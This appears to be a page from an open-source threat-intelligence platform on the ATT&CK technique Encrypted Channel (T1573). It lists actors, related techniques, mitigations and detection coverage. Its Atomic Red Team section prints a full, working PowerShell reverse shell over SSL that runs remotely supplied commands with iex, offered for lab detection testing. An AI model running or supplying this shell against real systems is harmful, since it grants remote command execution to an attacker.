T1573 · threatengine.sh

Home/ATT&CK Technique/Encrypted Channel

ATT&CK Technique

Encrypted Channel

T1573 · command-and-control

Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

ESXiLinuxmacOSNetwork DevicesWindows

◆

Actors Using This

iranAgrius
russia_speaking_cybercrimeAkira
russia_speaking_cybercrimeALPHV / BlackCat
latin_america_brazilian_organized_cybercrimeAmavaldo
north_koreaAndariel
franceAnimal Farm
chinaAoqin Dragon
chinaAPT10
chinaAPT17
chinaAPT1
russiaAPT28
russiaAPT29
chinaAPT31
iranAPT33

◈

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.

resource-development earlier

T1584.004 · Server ×1.20

execution earlier

T1574.001 · DLL ×1.20 T1574.011 · Services Registry Permissions Weakness ×1.20

persistence earlier

T1505 · Server Software Component ×1.20

privilege-escalation earlier

T1055.001 · Dynamic-link Library Injection ×1.20 T1546 · Event Triggered Execution ×1.20

discovery earlier

T1012 · Query Registry ×1.20

collection earlier

T1074.001 · Local Data Staging ×1.20 T1560.001 · Archive via Utility ×1.20

command-and-control same

T1568.002 · Domain Generation Algorithms ×1.20 T1132 · Data Encoding ×1.20 T1573.002 · Asymmetric Cryptography ×1.20 T1105 · Ingress Tool Transfer ×1.20 T1071.004 · DNS ×1.20

other same

T1564.003 · Hidden Window ×1.20

▸

Atomic Tests

Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.

powershellwindowsOpenSSL C2

Thanks to @OrOneEqualsOne for this quick C2 method. This is to test to see if a C2 session can be established using an SSL socket. More information about this technique, including how to set up the listener, can be found here: https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926 Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.

$server_ip = #{server_ip}
$server_port = #{server_port}
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}

▣

Mitigations

MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.

M1020SSL/TLS Inspection

SSL/TLS inspection involves decrypting encrypted network traffic to examine its content for signs of malicious activity. This capability is crucial for detecting threats that use encryption to evade detection, such as phishing, malware, or data exfiltration. After inspection, the traffic is re-encrypted and forwarded to its destination.

Deploy SSL/TLS Inspection Appliances

Implement SSL/TLS inspection solutions to decrypt and inspect encrypted traffic.
Ensure appliances are placed at critical network choke points for maximum coverage.

Configure Decryption Policies

Define rules to decrypt traffic for specific applications, ports, or domains.
Avoid decrypting sensitive or privacy-related traffic, such as financial or healthcare websites, to comply with regulations.

Integrate Threat Intelligence

Use threat intelligence feeds to correlate inspected traffic with known indicators of compromise (IOCs).

Integrate with Security Tools

Combine SSL/TLS inspection with SIEM and NDR tools to analyze decrypted traffic and generate alerts for suspicious activity.

Example Tools: Splunk, Darktrace Implement Certificate Management

Use trusted internal or third-party certificates for traffic re-encryption after inspection.
Regularly update certificate authorities (CAs) to ensure secure re-encryption.

Monitor and Tune

Continuously monitor SSL/TLS inspection logs for anomalies and fine-tune policies to reduce false positives.

M1031Network Intrusion Prevention

Use intrusion detection signatures to block traffic at network boundaries.

◈

Detection Coverage

2/6 layers

Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).

Behavioral / log (Sigma) 4

Analytics (MITRE CAR) none

Runtime / container (Falco) none

File / malware (YARA) none

Network (Suricata/Snort) 26

Vuln scan (Nuclei) none

▣

Comply & Defend

NIST 800-53AC-04, CA-07, CM-02, CM-06, CM-07, SC-07, SC-12, SC-16, SC-23, SI-03, SI-04

D3FEND11 defensive techniques

Intelligence Graph · click any node to traverse

CVETechnique ActorTool Family

drag to reposition · click any node to traverse · button top-right enlarges

External lookups - second-class, for what we don’t hold ourselves

MITRE ATT&CK Atomic Red Team car (MITRE)

Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities

Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs

Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures

Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1

About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service

threatengine.sh · Open-source threat intelligence platform · 100+ authoritative sources · Every fact traces to its origin